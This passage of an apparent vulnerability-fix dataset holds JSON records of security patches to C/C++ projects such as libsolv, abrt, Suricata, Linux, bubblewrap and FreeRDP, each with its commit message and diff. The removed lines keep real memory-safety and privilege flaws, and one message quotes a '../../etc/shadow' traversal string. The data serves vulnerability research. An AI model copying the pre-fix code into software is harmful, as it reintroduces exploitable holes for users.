data->schemata[cid], schema, len * sizeof(Id)))\n return cid;\n }\n /* a new one */", "sections": [{"section": "@@ -211,11 +211,13 @@ repodata_schema2id(Repodata *data, Id *schema, int create)\n cid = schematahash[h];\n if (cid)\n {\n- if (!memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n+ if ((data->schemata[cid] + len <= data->schemadatalen) &&\n+\t\t\t !memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n return cid;\n /* cache conflict, do a slow search */\n for (cid = 1; cid < data->nschemata; cid++)\n- if (!memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n+ if ((data->schemata[cid] + len <= data->schemadatalen) &&\n+\t\t\t\t!memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n return cid;\n }\n /* a new one */", "related": false}]} +{"owner": "abrt", "repo": "libreport", "language": "C", "file_name": "src/lib/create_dump_dir.c", "commit_id": "239c4f7d1f47265526b39ad70106767d00805277", "commit_message": "dd: harden functions against directory traversal issues\n\nTest correctness of all accessed dump dir files in all dd* functions.\nBefore this commit, the callers were allowed to pass strings like\n\"../../etc/shadow\" in the filename argument of all dd* functions.\n\nRelated: #1214457\n\nSigned-off-by: Jakub Filak ", "patch": "@@ -42,6 +42,12 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n return NULL;\n }\n \n+ if (!str_is_correct_filename(type))\n+ {\n+ error_msg(_(\"'%s' is not correct file name\"), FILENAME_ANALYZER);\n+ return NULL;\n+ }\n+\n uid_t uid = (uid_t)-1L;\n char *uid_str = problem_data_get_content_or_NULL(problem_data, FILENAME_UID);\n \n@@ -105,6 +111,12 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n g_hash_table_iter_init(&iter, problem_data);\n while (g_hash_table_iter_next(&iter, (void**)&name, (void**)&value))\n {\n+ if (!str_is_correct_filename(name))\n+ {\n+ error_msg(\"Problem data field name contains disallowed chars: '%s'\", name);\n+ continue;\n+ }\n+\n if (value->flags & CD_FLAG_BIN)\n {\n char *dest = concat_path_file(dd->dd_dirname, name);\n@@ -119,13 +131,6 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n continue;\n }\n \n- /* only files should contain '/' and those are handled earlier */\n- if (name[0] == '.' || strchr(name, '/'))\n- {\n- error_msg(\"Problem data field name contains disallowed chars: '%s'\", name);\n- continue;\n- }\n-\n dd_save_text(dd, name, value->content);\n }\n ", "sections": [{"section": "@@ -42,6 +42,12 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n return NULL;\n }\n \n+ if (!str_is_correct_filename(type))\n+ {\n+ error_msg(_(\"'%s' is not correct file name\"), FILENAME_ANALYZER);\n+ return NULL;\n+ }\n+\n uid_t uid = (uid_t)-1L;\n char *uid_str = problem_data_get_content_or_NULL(problem_data, FILENAME_UID);\n \n", "related": false}, {"section": "@@ -105,6 +111,12 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n g_hash_table_iter_init(&iter, problem_data);\n while (g_hash_table_iter_next(&iter, (void**)&name, (void**)&value))\n {\n+ if (!str_is_correct_filename(name))\n+ {\n+ error_msg(\"Problem data field name contains disallowed chars: '%s'\", name);\n+ continue;\n+ }\n+\n if (value->flags & CD_FLAG_BIN)\n {\n char *dest = concat_path_file(dd->dd_dirname, name);\n", "related": false}, {"section": "@@ -119,13 +131,6 @@ struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data,\n continue;\n }\n \n- /* only files should contain '/' and those are handled earlier */\n- if (name[0] == '.' || strchr(name, '/'))\n- {\n- error_msg(\"Problem data field name contains disallowed chars: '%s'\", name);\n- continue;\n- }\n-\n dd_save_text(dd, name, value->content);\n }\n ", "related": false}]} +{"owner": "abrt", "repo": "abrt", "language": "C", "file_name": "src/lib/hooklib.c", "commit_id": "b7f8bd20b7fb5b72f003ae3fa647c1d75f4218b7", "commit_message": "lib: add functions validating dump dir\n\nMove the code from abrt-server to shared library and fix the condition\nvalidating dump dir's path.\n\nAs of now, abrt is allowed to process only direct sub-directories of the\ndump locations.\n\nSigned-off-by: Jakub Filak ", "patch": "@@ -427,3 +427,59 @@ char* problem_data_save(problem_data_t *pd)\n log_info(\"problem id: '%s'\", problem_id);\n return problem_id;\n }\n+\n+bool dir_is_in_dump_location(const char *dir_name)\n+{\n+ unsigned len = strlen(g_settings_dump_location);\n+\n+ /* The path must start with \"g_settings_dump_location\" */\n+ if (strncmp(dir_name, g_settings_dump_location, len) != 0)\n+ {\n+ log_debug(\"Bad parent directory: '%s' not in '%s'\", g_settings_dump_location, dir_name);\n+ return false;\n+ }\n+\n+ /* and must be a sub-directory of the g_settings_dump_location dir */\n+ const char *base_name = dir_name + len;\n+ while (*base_name && *base_name == '/')\n+ ++base_name;\n+\n+ if (*(base_name - 1) != '/' || !str_is_correct_filename(base_name))\n+ {\n+ log_debug(\"Invalid dump directory name: '%s'\", base_name);\n+ return false;\n+ }\n+\n+ /* and we are sure it is a directory */\n+ struct stat sb;\n+ if (lstat(dir_name, &sb) < 0)\n+ {\n+ VERB2 perror_msg(\"stat('%s')\", dir_name);\n+ return errno== ENOENT;\n+ }\n+\n+ return S_ISDIR(sb.st_mode);\n+}\n+\n+bool dir_has_correct_permissions(const char *dir_name)\n+{\n+ if (g_settings_privatereports)\n+ {\n+ struct stat statbuf;\n+ if (lstat(dir_name, &statbuf) != 0 || !S_ISDIR(statbuf.st_mode))\n+ {\n+ error_msg(\"Path '%s' isn't directory\", dir_name);\n+ return false;\n+ }\n+ /* Get ABRT's group gid */\n+ struct group *gr = getgrnam(\"abrt\");\n+ if (!gr)\n+ {\n+ error_msg(\"Group 'abrt' does not exist\");\n+ return false;\n+ }\n+ if (statbuf.st_uid != 0 || !(statbuf.st_gid == 0 || statbuf.st_gid == gr->gr_gid) || statbuf.st_mode & 07)\n+ return false;\n+ }\n+ return true;\n+}", "sections": [{"section": "@@ -427,3 +427,59 @@ char* problem_data_save(problem_data_t *pd)\n log_info(\"problem id: '%s'\", problem_id);\n return problem_id;\n }\n+\n+bool dir_is_in_dump_location(const char *dir_name)\n+{\n+ unsigned len = strlen(g_settings_dump_location);\n+\n+ /* The path must start with \"g_settings_dump_location\" */\n+ if (strncmp(dir_name, g_settings_dump_location, len) != 0)\n+ {\n+ log_debug(\"Bad parent directory: '%s' not in '%s'\", g_settings_dump_location, dir_name);\n+ return false;\n+ }\n+\n+ /* and must be a sub-directory of the g_settings_dump_location dir */\n+ const char *base_name = dir_name + len;\n+ while (*base_name && *base_name == '/')\n+ ++base_name;\n+\n+ if (*(base_name - 1) != '/' || !str_is_correct_filename(base_name))\n+ {\n+ log_debug(\"Invalid dump directory name: '%s'\", base_name);\n+ return false;\n+ }\n+\n+ /* and we are sure it is a directory */\n+ struct stat sb;\n+ if (lstat(dir_name, &sb) < 0)\n+ {\n+ VERB2 perror_msg(\"stat('%s')\", dir_name);\n+ return errno== ENOENT;\n+ }\n+\n+ return S_ISDIR(sb.st_mode);\n+}\n+\n+bool dir_has_correct_permissions(const char *dir_name)\n+{\n+ if (g_settings_privatereports)\n+ {\n+ struct stat statbuf;\n+ if (lstat(dir_name, &statbuf) != 0 || !S_ISDIR(statbuf.st_mode))\n+ {\n+ error_msg(\"Path '%s' isn't directory\", dir_name);\n+ return false;\n+ }\n+ /* Get ABRT's group gid */\n+ struct group *gr = getgrnam(\"abrt\");\n+ if (!gr)\n+ {\n+ error_msg(\"Group 'abrt' does not exist\");\n+ return false;\n+ }\n+ if (statbuf.st_uid != 0 || !(statbuf.st_gid == 0 || statbuf.st_gid == gr->gr_gid) || statbuf.st_mode & 07)\n+ return false;\n+ }\n+ return true;\n+}", "related": false}]} +{"owner": "oisf", "repo": "suricata", "language": "C", "file_name": "src/stream-tcp.c", "commit_id": "9f0294fadca3dcc18c919424242a41e01f3e8318", "commit_message": "stream: fix SYN_SENT RST/FIN injection\n\nRST injection during the SYN_SENT state could trick Suricata into marking\na session as CLOSED. The way this was done is: using invalid TSECR value\nin RST+ACK packet. The ACK was needed to force Linux into considering the\nTSECR value and compare it to the TSVAL from the SYN packet.\n\nThe second works only against Windows. The client would not use a TSVAL\nbut the RST packet would. Windows will reject this, but Suricata considered\nthe RST valid and triggered the CLOSED logic.\n\nThis patch addresses both. When the SYN packet used timestamp support\nthe timestamp of incoming packet is validated. Otherwise, packet responding\nshould not have a timestamp.\n\nBug #3286\n\nReported-by: Nicolas Adba", "patch": "@@ -1363,6 +1363,39 @@ static void StreamTcp3whsSynAckUpdate(TcpSession *ssn, Packet *p, TcpStateQueue\n ssn->flags &=~ STREAMTCP_FLAG_4WHS;\n }\n \n+/** \\internal\n+ * \\brief detect timestamp anomalies when processing responses to the\n+ * SYN packet.\n+ * \\retval true packet is ok\n+ * \\retval false packet is bad\n+ */\n+static inline bool StateSynSentValidateTimestamp(TcpSession *ssn, Packet *p)\n+{\n+ /* we only care about evil server here, so skip TS packets */\n+ if (PKT_IS_TOSERVER(p) || !(TCP_HAS_TS(p))) {\n+ return true;\n+ }\n+\n+ TcpStream *receiver_stream = &ssn->client;\n+ uint32_t ts_echo = TCP_GET_TSECR(p);\n+ if ((receiver_stream->flags & STREAMTCP_STREAM_FLAG_TIMESTAMP) != 0) {\n+ if (receiver_stream->last_ts != 0 && ts_echo != 0 &&\n+ ts_echo != receiver_stream->last_ts)\n+ {\n+ SCLogDebug(\"ssn %p: BAD TSECR echo %u recv %u\", ssn,\n+ ts_echo, receiver_stream->last_ts);\n+ return false;\n+ }\n+ } else {\n+ if (receiver_stream->last_ts == 0 && ts_echo != 0) {\n+ SCLogDebug(\"ssn %p: BAD TSECR echo %u recv %u\", ssn,\n+ ts_echo, receiver_stream->last_ts);\n+ return false;\n+ }\n+ }\n+ return true;\n+}\n+\n /**\n * \\brief Function to handle the TCP_SYN_SENT state. The function handles\n * SYN, SYN/ACK, RST packets and correspondingly changes the connection\n@@ -1382,6 +1415,10 @@ static int StreamTcpPacketStateSynSent(ThreadVars *tv, Packet *p,\n SCLogDebug(\"ssn %p: pkt received: %s\", ssn, PKT_IS_TOCLIENT(p) ?\n \"toclient\":\"toserver\");\n \n+ /* check for bad responses */\n+ if (StateSynSentValidateTimestamp(ssn, p) == false)\n+ return -1;\n+\n /* RST */\n if (p->tcph->th_flags & TH_RST) {\n if (!StreamTcpValidateRst(ssn, p))", "sections": [{"section": "@@ -1363,6 +1363,39 @@ static void StreamTcp3whsSynAckUpdate(TcpSession *ssn, Packet *p, TcpStateQueue\n ssn->flags &=~ STREAMTCP_FLAG_4WHS;\n }\n \n+/** \\internal\n+ * \\brief detect timestamp anomalies when processing responses to the\n+ * SYN packet.\n+ * \\retval true packet is ok\n+ * \\retval false packet is bad\n+ */\n+static inline bool StateSynSentValidateTimestamp(TcpSession *ssn, Packet *p)\n+{\n+ /* we only care about evil server here, so skip TS packets */\n+ if (PKT_IS_TOSERVER(p) || !(TCP_HAS_TS(p))) {\n+ return true;\n+ }\n+\n+ TcpStream *receiver_stream = &ssn->client;\n+ uint32_t ts_echo = TCP_GET_TSECR(p);\n+ if ((receiver_stream->flags & STREAMTCP_STREAM_FLAG_TIMESTAMP) != 0) {\n+ if (receiver_stream->last_ts != 0 && ts_echo != 0 &&\n+ ts_echo != receiver_stream->last_ts)\n+ {\n+ SCLogDebug(\"ssn %p: BAD TSECR echo %u recv %u\", ssn,\n+ ts_echo, receiver_stream->last_ts);\n+ return false;\n+ }\n+ } else {\n+ if (receiver_stream->last_ts == 0 && ts_echo != 0) {\n+ SCLogDebug(\"ssn %p: BAD TSECR echo %u recv %u\", ssn,\n+ ts_echo, receiver_stream->last_ts);\n+ return false;\n+ }\n+ }\n+ return true;\n+}\n+\n /**\n * \\brief Function to handle the TCP_SYN_SENT state. The function handles\n * SYN, SYN/ACK, RST packets and correspondingly changes the connection\n", "related": false}, {"section": "@@ -1382,6 +1415,10 @@ static int StreamTcpPacketStateSynSent(ThreadVars *tv, Packet *p,\n SCLogDebug(\"ssn %p: pkt received: %s\", ssn, PKT_IS_TOCLIENT(p) ?\n \"toclient\":\"toserver\");\n \n+ /* check for bad responses */\n+ if (StateSynSentValidateTimestamp(ssn, p) == false)\n+ return -1;\n+\n /* RST */\n if (p->tcph->th_flags & TH_RST) {\n if (!StreamTcpValidateRst(ssn, p))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/block/floppy.c", "commit_id": "2e90ca68b0d2f5548804f22f0dd61145516171e3", "commit_message": "floppy: check FDC index for errors before assigning it\n\nJordy Zomer reported a KASAN out-of-bounds read in the floppy driver in\nwait_til_ready().\n\nWhich on the face of it can't happen, since as Willy Tarreau points out,\nthe function does no particular memory access. Except through the FDCS\nmacro, which just indexes a static allocation through teh current fdc,\nwhich is always checked against N_FDC.\n\nExcept the checking happens after we've already assigned the value.\n\nThe floppy driver is a disgrace (a lot of it going back to my original\nhorrd \"design\"), and has no real maintainer. Nobody has the hardware,\nand nobody really cares. But it still gets used in virtual environment\nbecause it's one of those things that everybody supports.\n\nThe whole thing should be re-written, or at least parts of it should be\nseriously cleaned up. The 'current fdc' index, which is used by the\nFDCS macro, and which is often shadowed by a local 'fdc' variable, is a\nprime example of how not to write code.\n\nBut because nobody has the hardware or the motivation, let's just fix up\nthe immediate problem with a nasty band-aid: test the fdc index before\nactually assigning it to the static 'fdc' variable.\n\nReported-by: Jordy Zomer \nCc: Willy Tarreau \nCc: Dan Carpenter \nSigned-off-by: Linus Torvalds ", "patch": "@@ -853,14 +853,17 @@ static void reset_fdc_info(int mode)\n /* selects the fdc and drive, and enables the fdc's input/dma. */\n static void set_fdc(int drive)\n {\n+\tunsigned int new_fdc = fdc;\n+\n \tif (drive >= 0 && drive < N_DRIVE) {\n-\t\tfdc = FDC(drive);\n+\t\tnew_fdc = FDC(drive);\n \t\tcurrent_drive = drive;\n \t}\n-\tif (fdc != 1 && fdc != 0) {\n+\tif (new_fdc >= N_FDC) {\n \t\tpr_info(\"bad fdc value\\n\");\n \t\treturn;\n \t}\n+\tfdc = new_fdc;\n \tset_dor(fdc, ~0, 8);\n #if N_FDC > 1\n \tset_dor(1 - fdc, ~8, 0);", "sections": [{"section": "@@ -853,14 +853,17 @@ static void reset_fdc_info(int mode)\n /* selects the fdc and drive, and enables the fdc's input/dma. */\n static void set_fdc(int drive)\n {\n+\tunsigned int new_fdc = fdc;\n+\n \tif (drive >= 0 && drive < N_DRIVE) {\n-\t\tfdc = FDC(drive);\n+\t\tnew_fdc = FDC(drive);\n \t\tcurrent_drive = drive;\n \t}\n-\tif (fdc != 1 && fdc != 0) {\n+\tif (new_fdc >= N_FDC) {\n \t\tpr_info(\"bad fdc value\\n\");\n \t\treturn;\n \t}\n+\tfdc = new_fdc;\n \tset_dor(fdc, ~0, 8);\n #if N_FDC > 1\n \tset_dor(1 - fdc, ~8, 0);", "related": false}]} +{"owner": "nethack", "repo": "nethack", "language": "C", "file_name": "src/topten.c", "commit_id": "f3def5c0b999478da2d0a8f0b6a7c370a2065f77", "commit_message": "command line triggered buffer overruns\n\nPrevent extremely long command line arguments from overflowing local\nbuffers in raw_printf or config_error_add. The increased buffer\nsizes they recently got to deal with long configuration file values\naren't sufficient to handle command line induced overflows.\n\nchoose_windows(core): copy and truncate the window_type argument in\ncase it gets passed to config_error_add().\n\nprocess_options(unix): report bad values with \"%.60s\" so that vsprintf\nwill implicitly truncate when formatted by raw_printf().", "patch": "@@ -1000,6 +1000,7 @@ int uid;\n * print selected parts of score list.\n * argc >= 2, with argv[0] untrustworthy (directory names, et al.),\n * and argv[1] starting with \"-s\".\n+ * caveat: some shells might allow argv elements to be arbitrarily long.\n */\n void\n prscore(argc, argv)", "sections": [{"section": "@@ -1000,6 +1000,7 @@ int uid;\n * print selected parts of score list.\n * argc >= 2, with argv[0] untrustworthy (directory names, et al.),\n * and argv[1] starting with \"-s\".\n+ * caveat: some shells might allow argv elements to be arbitrarily long.\n */\n void\n prscore(argc, argv)", "related": false}]} +{"owner": "systemd", "repo": "systemd", "language": "C", "file_name": "src/systemd/sd-bus.h", "commit_id": "bc130b6858327b382b07b3985cf48e2aa9016b2d", "commit_message": "Fix typo in function name", "patch": "@@ -207,7 +207,7 @@ int sd_bus_process(sd_bus *bus, sd_bus_message **r);\n int sd_bus_process_priority(sd_bus *bus, int64_t max_priority, sd_bus_message **r);\n int sd_bus_wait(sd_bus *bus, uint64_t timeout_usec);\n int sd_bus_flush(sd_bus *bus);\n-int sd_bus_enqeue_for_read(sd_bus *bus, sd_bus_message *m);\n+int sd_bus_enqueue_for_read(sd_bus *bus, sd_bus_message *m);\n \n sd_bus_slot* sd_bus_get_current_slot(sd_bus *bus);\n sd_bus_message* sd_bus_get_current_message(sd_bus *bus);", "sections": [{"section": "@@ -207,7 +207,7 @@ int sd_bus_process(sd_bus *bus, sd_bus_message **r);\n int sd_bus_process_priority(sd_bus *bus, int64_t max_priority, sd_bus_message **r);\n int sd_bus_wait(sd_bus *bus, uint64_t timeout_usec);\n int sd_bus_flush(sd_bus *bus);\n-int sd_bus_enqeue_for_read(sd_bus *bus, sd_bus_message *m);\n+int sd_bus_enqueue_for_read(sd_bus *bus, sd_bus_message *m);\n \n sd_bus_slot* sd_bus_get_current_slot(sd_bus *bus);\n sd_bus_message* sd_bus_get_current_message(sd_bus *bus);", "related": false}]} +{"owner": "weechat", "repo": "weechat", "language": "C", "file_name": "src/plugins/irc/irc-nick.c", "commit_id": "40ccacb4330a64802b1f1e28ed9a6b6d3ca9197f", "commit_message": "irc: fix crash when a new message 005 is received with longer nick prefixes\n\nThanks to Stuart Nevans Locke for reporting the issue.", "patch": "@@ -643,6 +643,53 @@ irc_nick_set_mode (struct t_irc_server *server, struct t_irc_channel *channel,\n }\n }\n \n+/*\n+ * Reallocates the \"prefixes\" string in all nicks of all channels on the server\n+ * (after 005 has been received).\n+ */\n+\n+void\n+irc_nick_realloc_prefixes (struct t_irc_server *server,\n+ int old_length, int new_length)\n+{\n+ struct t_irc_channel *ptr_channel;\n+ struct t_irc_nick *ptr_nick;\n+ char *new_prefixes;\n+\n+ for (ptr_channel = server->channels; ptr_channel;\n+ ptr_channel = ptr_channel->next_channel)\n+ {\n+ for (ptr_nick = ptr_channel->nicks; ptr_nick;\n+ ptr_nick = ptr_nick->next_nick)\n+ {\n+ if (ptr_nick->prefixes)\n+ {\n+ new_prefixes = realloc (ptr_nick->prefixes, new_length + 1);\n+ if (new_prefixes)\n+ {\n+ ptr_nick->prefixes = new_prefixes;\n+ if (new_length > old_length)\n+ {\n+ memset (ptr_nick->prefixes + old_length,\n+ ' ',\n+ new_length - old_length);\n+ }\n+ ptr_nick->prefixes[new_length] = '\\0';\n+ }\n+ }\n+ else\n+ {\n+ ptr_nick->prefixes = malloc (new_length + 1);\n+ if (ptr_nick->prefixes)\n+ {\n+ memset (ptr_nick->prefixes, ' ', new_length);\n+ ptr_nick->prefixes[new_length] = '\\0';\n+ }\n+ }\n+ }\n+ }\n+}\n+\n /*\n * Removes a nick from a channel.\n */", "sections": [{"section": "@@ -643,6 +643,53 @@ irc_nick_set_mode (struct t_irc_server *server, struct t_irc_channel *channel,\n }\n }\n \n+/*\n+ * Reallocates the \"prefixes\" string in all nicks of all channels on the server\n+ * (after 005 has been received).\n+ */\n+\n+void\n+irc_nick_realloc_prefixes (struct t_irc_server *server,\n+ int old_length, int new_length)\n+{\n+ struct t_irc_channel *ptr_channel;\n+ struct t_irc_nick *ptr_nick;\n+ char *new_prefixes;\n+\n+ for (ptr_channel = server->channels; ptr_channel;\n+ ptr_channel = ptr_channel->next_channel)\n+ {\n+ for (ptr_nick = ptr_channel->nicks; ptr_nick;\n+ ptr_nick = ptr_nick->next_nick)\n+ {\n+ if (ptr_nick->prefixes)\n+ {\n+ new_prefixes = realloc (ptr_nick->prefixes, new_length + 1);\n+ if (new_prefixes)\n+ {\n+ ptr_nick->prefixes = new_prefixes;\n+ if (new_length > old_length)\n+ {\n+ memset (ptr_nick->prefixes + old_length,\n+ ' ',\n+ new_length - old_length);\n+ }\n+ ptr_nick->prefixes[new_length] = '\\0';\n+ }\n+ }\n+ else\n+ {\n+ ptr_nick->prefixes = malloc (new_length + 1);\n+ if (ptr_nick->prefixes)\n+ {\n+ memset (ptr_nick->prefixes, ' ', new_length);\n+ ptr_nick->prefixes[new_length] = '\\0';\n+ }\n+ }\n+ }\n+ }\n+}\n+\n /*\n * Removes a nick from a channel.\n */", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/json/JSON_parser.cpp", "commit_id": "b3679121bb3c7017ff04b4c08402ffff5cf59b13", "commit_message": "Fix buffer overrun in SimpleParser::handleBackslash\n\nSummary:\nIt read 4 chars, then checked for validity, but any of them could have\nbeen the end of the string, so check after each one instead.\n\nReviewed By: oulgen\n\nDifferential Revision: D19611163\n\nfbshipit-source-id: 3da0a39555cb85a93f4fd98048368f17cf37e2e4", "patch": "@@ -453,12 +453,13 @@ struct SimpleParser {\n case 'u': {\n if (UNLIKELY(is_tsimplejson)) {\n auto const ch1 = *p++;\n+ if (UNLIKELY(ch1 != '0')) return false;\n auto const ch2 = *p++;\n+ if (UNLIKELY(ch2 != '0')) return false;\n auto const dch3 = dehexchar(*p++);\n+ if (UNLIKELY(dch3 < 0)) return false;\n auto const dch4 = dehexchar(*p++);\n- if (UNLIKELY(ch1 != '0' || ch2 != '0' || dch3 < 0 || dch4 < 0)) {\n- return false;\n- }\n+ if (UNLIKELY(dch4 < 0)) return false;\n out = (dch3 << 4) | dch4;\n return true;\n } else {", "sections": [{"section": "@@ -453,12 +453,13 @@ struct SimpleParser {\n case 'u': {\n if (UNLIKELY(is_tsimplejson)) {\n auto const ch1 = *p++;\n+ if (UNLIKELY(ch1 != '0')) return false;\n auto const ch2 = *p++;\n+ if (UNLIKELY(ch2 != '0')) return false;\n auto const dch3 = dehexchar(*p++);\n+ if (UNLIKELY(dch3 < 0)) return false;\n auto const dch4 = dehexchar(*p++);\n- if (UNLIKELY(ch1 != '0' || ch2 != '0' || dch3 < 0 || dch4 < 0)) {\n- return false;\n- }\n+ if (UNLIKELY(dch4 < 0)) return false;\n out = (dch3 << 4) | dch4;\n return true;\n } else {", "related": false}]} +{"owner": "artifexsoftware", "repo": "jbig2dec", "language": "C", "file_name": "jbig2_image.c", "commit_id": "0726320a4b55078e9d8deb590e477d598b3da66e", "commit_message": "Fix OSS-Fuzz issue 20332: buffer overflow in jbig2_image_compose.\n\nWith extreme values of x/y/w/h we can get overflow. Test for this\nand exit safely.\n\nThanks for OSS-Fuzz for reporting.", "patch": "@@ -33,6 +33,9 @@\n #if !defined (INT32_MAX)\n #define INT32_MAX 0x7fffffff\n #endif\n+#if !defined (UINT32_MAX)\n+#define UINT32_MAX 0xffffffffu\n+#endif\n \n /* allocate a Jbig2Image structure and its associated bitmap */\n Jbig2Image *\n@@ -351,6 +354,15 @@ jbig2_image_compose(Jbig2Ctx *ctx, Jbig2Image *dst, Jbig2Image *src, int x, int\n if (src == NULL)\n return 0;\n \n+ if ((UINT32_MAX - src->width < (x > 0 ? x : -x)) ||\n+ (UINT32_MAX - src->height < (y > 0 ? y : -y)))\n+ {\n+#ifdef JBIG2_DEBUG\n+ jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, \"overflow in compose_image\");\n+#endif\n+ return 0;\n+ }\n+\n /* This code takes a src image and combines it onto dst at offset (x,y), with operation op. */\n \n /* Data is packed msb first within a byte, so with bits numbered: 01234567.", "sections": [{"section": "@@ -33,6 +33,9 @@\n #if !defined (INT32_MAX)\n #define INT32_MAX 0x7fffffff\n #endif\n+#if !defined (UINT32_MAX)\n+#define UINT32_MAX 0xffffffffu\n+#endif\n \n /* allocate a Jbig2Image structure and its associated bitmap */\n Jbig2Image *\n", "related": false}, {"section": "@@ -351,6 +354,15 @@ jbig2_image_compose(Jbig2Ctx *ctx, Jbig2Image *dst, Jbig2Image *src, int x, int\n if (src == NULL)\n return 0;\n \n+ if ((UINT32_MAX - src->width < (x > 0 ? x : -x)) ||\n+ (UINT32_MAX - src->height < (y > 0 ? y : -y)))\n+ {\n+#ifdef JBIG2_DEBUG\n+ jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, \"overflow in compose_image\");\n+#endif\n+ return 0;\n+ }\n+\n /* This code takes a src image and combines it onto dst at offset (x,y), with operation op. */\n \n /* Data is packed msb first within a byte, so with bits numbered: 01234567.", "related": false}]} +{"owner": "containers", "repo": "bubblewrap", "language": "C", "file_name": "bubblewrap.c", "commit_id": "1f7e2ad948c051054b683461885a0215f1806240", "commit_message": "Merge pull request from GHSA-j2qp-rvxj-43vj\n\nFix setuid vulnerability", "patch": "@@ -837,11 +837,13 @@ switch_to_user_with_privs (void)\n \n /* Call setuid() and use capset() to adjust capabilities */\n static void\n-drop_privs (bool keep_requested_caps)\n+drop_privs (bool keep_requested_caps,\n+ bool already_changed_uid)\n {\n assert (!keep_requested_caps || !is_privileged);\n /* Drop root uid */\n- if (geteuid () == 0 && setuid (opt_sandbox_uid) < 0)\n+ if (is_privileged && !already_changed_uid &&\n+ setuid (opt_sandbox_uid) < 0)\n die_with_error (\"unable to drop root uid\");\n \n drop_all_caps (keep_requested_caps);\n@@ -2299,6 +2301,9 @@ main (int argc,\n if (opt_userns_fd != -1 && is_privileged)\n die (\"--userns doesn't work in setuid mode\");\n \n+ if (opt_userns2_fd != -1 && is_privileged)\n+ die (\"--userns2 doesn't work in setuid mode\");\n+\n /* We have to do this if we weren't installed setuid (and we're not\n * root), so let's just DWIM */\n if (!is_privileged && getuid () != 0 && opt_userns_fd == -1)\n@@ -2502,7 +2507,7 @@ main (int argc,\n die_with_error (\"Setting userns2 failed\");\n \n /* We don't need any privileges in the launcher, drop them immediately. */\n- drop_privs (FALSE);\n+ drop_privs (FALSE, FALSE);\n \n /* Optionally bind our lifecycle to that of the parent */\n handle_die_with_parent ();\n@@ -2677,7 +2682,7 @@ main (int argc,\n if (child == 0)\n {\n /* Unprivileged setup process */\n- drop_privs (FALSE);\n+ drop_privs (FALSE, TRUE);\n close (privsep_sockets[0]);\n setup_newroot (opt_unshare_pid, privsep_sockets[1]);\n exit (0);\n@@ -2775,7 +2780,7 @@ main (int argc,\n }\n \n /* All privileged ops are done now, so drop caps we don't need */\n- drop_privs (!is_privileged);\n+ drop_privs (!is_privileged, TRUE);\n \n if (opt_block_fd != -1)\n {", "sections": [{"section": "@@ -837,11 +837,13 @@ switch_to_user_with_privs (void)\n \n /* Call setuid() and use capset() to adjust capabilities */\n static void\n-drop_privs (bool keep_requested_caps)\n+drop_privs (bool keep_requested_caps,\n+ bool already_changed_uid)\n {\n assert (!keep_requested_caps || !is_privileged);\n /* Drop root uid */\n- if (geteuid () == 0 && setuid (opt_sandbox_uid) < 0)\n+ if (is_privileged && !already_changed_uid &&\n+ setuid (opt_sandbox_uid) < 0)\n die_with_error (\"unable to drop root uid\");\n \n drop_all_caps (keep_requested_caps);\n", "related": false}, {"section": "@@ -2299,6 +2301,9 @@ main (int argc,\n if (opt_userns_fd != -1 && is_privileged)\n die (\"--userns doesn't work in setuid mode\");\n \n+ if (opt_userns2_fd != -1 && is_privileged)\n+ die (\"--userns2 doesn't work in setuid mode\");\n+\n /* We have to do this if we weren't installed setuid (and we're not\n * root), so let's just DWIM */\n if (!is_privileged && getuid () != 0 && opt_userns_fd == -1)\n", "related": false}, {"section": "@@ -2502,7 +2507,7 @@ main (int argc,\n die_with_error (\"Setting userns2 failed\");\n \n /* We don't need any privileges in the launcher, drop them immediately. */\n- drop_privs (FALSE);\n+ drop_privs (FALSE, FALSE);\n \n /* Optionally bind our lifecycle to that of the parent */\n handle_die_with_parent ();\n", "related": false}, {"section": "@@ -2677,7 +2682,7 @@ main (int argc,\n if (child == 0)\n {\n /* Unprivileged setup process */\n- drop_privs (FALSE);\n+ drop_privs (FALSE, TRUE);\n close (privsep_sockets[0]);\n setup_newroot (opt_unshare_pid, privsep_sockets[1]);\n exit (0);\n", "related": false}, {"section": "@@ -2775,7 +2780,7 @@ main (int argc,\n }\n \n /* All privileged ops are done now, so drop caps we don't need */\n- drop_privs (!is_privileged);\n+ drop_privs (!is_privileged, TRUE);\n \n if (opt_block_fd != -1)\n {", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "winpr/libwinpr/sspi/NTLM/ntlm_message.c", "commit_id": "8241ab42fdf0cc89cf69fc574bf6360c9977a0d4", "commit_message": "Fixed oob read in ntlm_read_AuthenticateMessage", "patch": "@@ -681,15 +681,15 @@ SECURITY_STATUS ntlm_write_ChallengeMessage(NTLM_CONTEXT* context, PSecBuffer bu\n \n SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer buffer)\n {\n+\tSECURITY_STATUS status = SEC_E_INVALID_TOKEN;\n \twStream* s;\n \tsize_t length;\n-\tUINT32 flags;\n-\tNTLM_AV_PAIR* AvFlags;\n+\tUINT32 flags = 0;\n+\tNTLM_AV_PAIR* AvFlags = NULL;\n \tUINT32 PayloadBufferOffset;\n \tNTLM_AUTHENTICATE_MESSAGE* message;\n \tSSPI_CREDENTIALS* credentials = context->credentials;\n-\tflags = 0;\n-\tAvFlags = NULL;\n+\n \tmessage = &context->AUTHENTICATE_MESSAGE;\n \tZeroMemory(message, sizeof(NTLM_AUTHENTICATE_MESSAGE));\n \ts = Stream_New((BYTE*)buffer->pvBuffer, buffer->cbBuffer);\n@@ -698,130 +698,85 @@ SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer\n \t\treturn 